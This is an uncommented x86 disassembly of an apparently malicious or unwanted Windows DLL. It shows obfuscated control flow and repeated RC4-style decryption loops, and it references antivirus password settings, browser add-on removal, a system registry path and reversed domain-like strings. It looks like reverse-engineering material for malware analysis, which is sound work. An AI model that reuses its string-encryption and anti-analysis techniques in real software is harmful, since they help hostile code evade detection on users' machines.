je 0x100083c5
mov dword [ebp - 0x14], eax
mov esi, str.ProgramDeactivator_items:__d
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
push esi
call fcn.10005ac3
pop ecx
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ebp + ecx - 0x68]
movzx ecx, byte [ecx + str.pj.ufig.osihcih]
sub ecx, eax
cmp ecx, 0x17b5
jbe 0x1000841b
mov ecx, dword [ebp - 0x10]
add ecx, 0x2c6ea9b1
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x10]
jmp 0x10008433
mov edx, esi
mov ecx, str.app.browsercleanup.RemoveAllBadAddonsDirect
call fcn.10004924
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + 0xc36a0c8]
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0xb8], 0x2383
push 0xa
mov eax, edx
mov dword [ebp - 0xb4], 0x1ba0
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], 0x5d2
mov dword [ebp - 0xa8], 0x495
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], 0x145f
mov dword [ebp - 0x9c], 0x1700
mov dword [ebp - 0x98], 0x38a
mov dword [ebp - 0x94], 0x18b8
pop esi
cmp eax, 5
je 0x100084a0
inc eax
cmp eax, esi
jl 0x10008496
mov eax, dword [ebp + eax*4 - 0xb8]
mov dword [ebp - 0x7c], eax
cmp byte [ebp - 0x30], dl
je 0x100084cb
mov eax, ecx
mov esi, str.app.browsercleanup.RemoveAllBadAddonsDirect
and eax, 0x52e80fee
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0xc]
call fcn.10003f58
inc esi
cmp byte [esi], dl
jne 0x100084be
push 7
pop ecx
mov esi, str.window.onload
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
push 0x53
pop ecx
mov eax, edx
mov dword [ebp - 0x18], eax
cmp cx, word [ebp - 0x70]
jne 0x1000850c
test cx, cx
je 0x10008509
cmp word [ebp + eax - 0x70], dx
je 0x10008509
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
add eax, eax
movzx ecx, word [eax + str.SYSTEMCurrentControlSetControlFileSystem]
cmp cx, word [ebp + eax - 0x70]
je 0x100084e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
movzx eax, byte [ebp + eax*2 - 0x70]
movzx ecx, byte [ecx*2 + str.SYSTEMCurrentControlSetControlFileSystem]
sub ecx, eax
cmp ecx, 0x10ab
jae 0x10008536
call fcn.10004b17
add dword [ebp - 0xc], 0x2469f258
xor edx, edx
jmp 0x1000853d
and dword [ebp - 0xc], 0x1ea1aa50
mov ecx, 0xea
mov dword [ebp - 0xbc], 0x868
mov dword [ebp - 0xc0], ecx
mov eax, edx
mov dword [ebp - 0xb8], 0x9e7
mov dword [ebp - 0xb4], 0xf8
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], 0x612
mov dword [ebp - 0xa4], 0xe92
mov dword [ebp - 0xa0], 0x168c
mov dword [ebp - 0x9c], 0x236a
mov dword [ebp - 0x98], 0x19b5
mov dword [ebp - 0x94], 0x1d40
cmp eax, 5
je 0x100085bb
inc eax
cmp eax, 0xc
jl 0x100085b0
mov eax, dword [ebp + eax*4 - 0xc0]
lea edi, [ebp - 0xb4]
push 9
pop ecx
mov esi, str.avcfg:__settings_Common_PasswordHash
mov dword [ebp - 0x48], 0xaf5e6f2c
rep movsd dword es:[edi], dword [esi]
xor eax, 0xeb
mov dword [ebp - 0x44], 0xe7ea412b
mov dword [ebp - 0x78], eax
mov eax, edx
mov dword [ebp - 0x40], 0x3b566ac1
movsb byte es:[edi], byte [esi]
mov esi, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x100085f4
mov ecx, edx
mov dword [ebp - 0x3c], edx
mov al, byte [ebp + ecx - 0x208]
lea edi, [ebp - 0x6c]
mov byte [ebp - 1], al
xor edx, edx
mov eax, ecx
push 0x24
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
push 5
movzx eax, byte [ebp + edx - 0xb4]
xor edx, edx
add eax, esi
mov esi, str.pj.ikarabi.otasorihs
add ecx, eax
movzx eax, cl
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x46
mov dword [ebp - 0xdc], eax
mov eax, edx
pop ecx
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
cmp byte [ebp - 0x6c], cl
jne 0x10008689
mov esi, dword [ebp - 0xc]
test cl, cl
je 0x10008678
cmp byte [ebp + eax - 0x6c], dl
je 0x10008678
mov ecx, esi
call fcn.10003f58
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov cl, byte [eax + str.FoxitReader]
cmp cl, byte [ebp + eax - 0x6c]
je 0x10008654
cmp dword [ebp - 0x80], eax
jae 0x10008689
lea ecx, [esi + 0x3275dd7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x3c]
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + ecx - 0x208], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
mov dword [ebp - 0x3c], ecx
cmp ecx, 0x100
jb 0x10008608
mov edi, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x38], edx
cmp byte [str.pj.ufig.osihcih], dl
je 0x100086de
mov eax, dword [ebp - 0x34]
or eax, 0x6c2c7bae
mov dword [ebp - 0xc], eax
inc edi
cmp byte [edi + str.pj.ufig.osihcih], dl
jne 0x100086d5
call fcn.10003d14
mov esi, dword [ebp - 0x78]
cmp esi, edi
jae 0x10008713
mov eax, dword [ebp - 0x34]
xor eax, 0x2eae5610
mov dword [ebp - 0xc], eax
call fcn.10005d87
cmp esi, 0xbbb
jne 0x10008709
xor dword [ebp - 0x10], 0xb6f70b93
call fcn.10003d14
inc esi
cmp esi, edi
jb 0x100086f5
and dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + 1]
movzx edx, al
mov dword [ebp - 0x38], edx
mov cl, byte [ebp + edx - 0x208]
movzx eax, cl
mov dword [ebp - 0x80], eax
add eax, dword [ebp - 0x14]
movzx esi, al
mov dword [ebp - 0x14], esi
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + edx - 0x208], al
mov byte [ebp + esi - 0x208], cl
call fcn.100056e8
mov esi, str.SYSTEMCurrentControlSetControlFileSystem
mov edx, str.pj.ufig.osihcih
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10004ecb
or dword [ebp - 0xc], 0x5aff7041
lea esi, [esi + 2]
xor edx, edx
cmp word [esi], dx
jne 0x10008758
push 8
pop ecx
mov esi, str.pj.onagan.ayako
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
push 0x50
pop ecx
mov eax, edx
mov dword [ebp - 8], eax
cmp cx, word [ebp - 0x74]
jne 0x100087b9
test cx, cx
je 0x100087b6
cmp word [ebp + eax - 0x74], dx
je 0x100087b6
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
add eax, eax
movzx ecx, word [eax + str.ProgramDeactivator_items:__d]
cmp cx, word [ebp + eax - 0x74]
je 0x10008793
mov eax, dword [ebp - 8]
movzx ecx, byte [eax*2 + str.ProgramDeactivator_items:__d]
movzx eax, byte [ebp + eax*2 - 0x74]
sub ecx, eax
cmp ecx, 0x1abb
jne 0x100087e8
sub dword [ebp - 0x10], 0x6e493251
mov edx, str.ProgramDeactivator_items:__d
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10004c6d
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x3c]
movzx eax, byte [ebp + ecx - 0x208]
add eax, dword [ebp - 0x80]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + edi - 0x48]
mov byte [ebp + edi - 0x2f0], al
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0xc
jb 0x1000871a
mov esi, str.au.kstul
mov byte [ebp - 0x2e4], dl
lea edi, [ebp - 0x48]
mov word [ebp - 0xe8], 0xead8
push 0xd
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x80], eax
mov byte [ebp - 0xe5], al
push 0x24
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0xe0], al
mov eax, edx
mov byte [ebp - 0xe6], 0xfd
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xe4], 0x1645b859
mov edi, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x1000885f
mov esi, edx
mov dl, byte [ebp + esi - 0x208]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x48]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov byte [ebp + edi - 0x208], dl
cmp esi, 0x100
jb 0x10008870
xor eax, eax
and dword [ebp - 0x10], 0x8535c342
mov dword [ebp - 8], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 8]
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0xe8]
mov byte [ebp + esi - 0x26c], al
inc esi
cmp esi, 9
jb 0x100088b9
mov edx, dword [ebp - 0x10]
xor eax, eax
push 0x75
pop esi
add edx, 0x902afb44
mov byte [ebp - 0x263], al
mov dword [ebp - 0x18], edx
mov ecx, eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], 0x1954
mov dword [ebp - 0x64], 0x20f9
mov dword [ebp - 0x60], 0xe46
mov dword [ebp - 0x5c], 0x14c1
mov dword [ebp - 0x58], 0x2159
cmp ecx, 2
je 0x10008964
inc ecx
cmp ecx, 8
jl 0x10008959
mov ecx, dword [ebp + ecx*4 - 0x74]
xor ecx, esi
mov dword [ebp - 0xc0], 0x86a
mov esi, 0x90
mov dword [ebp - 0xdc], ecx
mov ecx, eax
mov dword [ebp - 0xbc], 0x1acb
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], 0x1c80
mov dword [ebp - 0xb0], 0x75e
mov dword [ebp - 0xac], 0x1fb9
mov dword [ebp - 0xa8], 0xd7c
mov dword [ebp - 0xa4], 0xfc3
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], 0xbb2
mov dword [ebp - 0x98], 0x2099
mov dword [ebp - 0x94], 0xe1e
cmp ecx, 2
je 0x100089f2
inc ecx
cmp ecx, 0xc
jl 0x100089e7
mov ecx, dword [ebp + ecx*4 - 0xc0]
lea edi, [ebp - 0x64]
mov esi, str.ti.atsoa_dlav
mov dword [ebp - 0x48], 0xf6496456
xor ecx, 0x91
mov dword [ebp - 0x44], 0x2d84c45e
mov dword [ebp - 0x34], ecx
mov ecx, edx
or ecx, 0x9bb2d6b0
mov dword [ebp - 0x40], 0x9787636f
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], ecx
add ecx, 0x159c5227
mov dword [ebp - 0x38], ecx
mov ecx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, eax
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x10008a3c
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x80]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x64]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x10008a4e
xor eax, eax
mov dword [ebp - 0xc], eax
mov esi, eax
mov dword [ebp - 0x84], eax
imul eax, dword [ebp - 0x18], 0x4cf4f76b
sub eax, 0x602ac7cc
mov dword [ebp - 0x3c], eax
lea eax, [esi + 1]
mov edx, str.FoxitReader
movzx eax, al
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
mov dword [ebp - 0x80], eax
call fcn.10004ecb
push 0x12
pop ecx
mov esi, str.setup.onStatusChanged.sessionStarted
lea edi, [ebp - 0xd8]
rep movsd dword es:[edi], dword [esi]
push 0x53
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov edx, eax
mov dword [ebp - 0x14], eax
cmp cx, word [ebp - 0xd8]
jne 0x10008b13
mov esi, ecx
mov ecx, eax
test si, si
je 0x10008b10
cmp word [ebp + ecx - 0xd8], ax
je 0x10008b10
mov dword [ebp - 0x14], edx
mov edi, dword [ebp - 0x10]
push ecx
mov ecx, edi
call fcn.10005d78
pop ecx
cmp dword [ebp - 8], edx
jae 0x10008b76
mov esi, dword [ebp - 0x14]
call fcn.10003d14
cmp dword [ebp - 8], 0x19f
jne 0x10008b54
mov esi, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
mov edi, eax
add dword [ebp - 0x18], 0x556f199c
sub eax, 0x602ac7cc
mov dword [ebp - 0x3c], eax
mov cl, byte [ebp + esi - 0x208]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x38], edi
movzx eax, al
mov dword [ebp - 0xc], eax
mov dword [0x1003ec08], edi
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + esi - 0x208], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x208], cl
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x84]
xor eax, 0x9089bd5f
mov dword [ebp - 0x10], eax
movzx eax, byte [ebp + esi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + ecx - 0x48]
mov byte [ebp + ecx - 0x310], al
inc ecx
mov dword [ebp - 0x84], ecx
cmp ecx, 0xc
jb 0x10008aab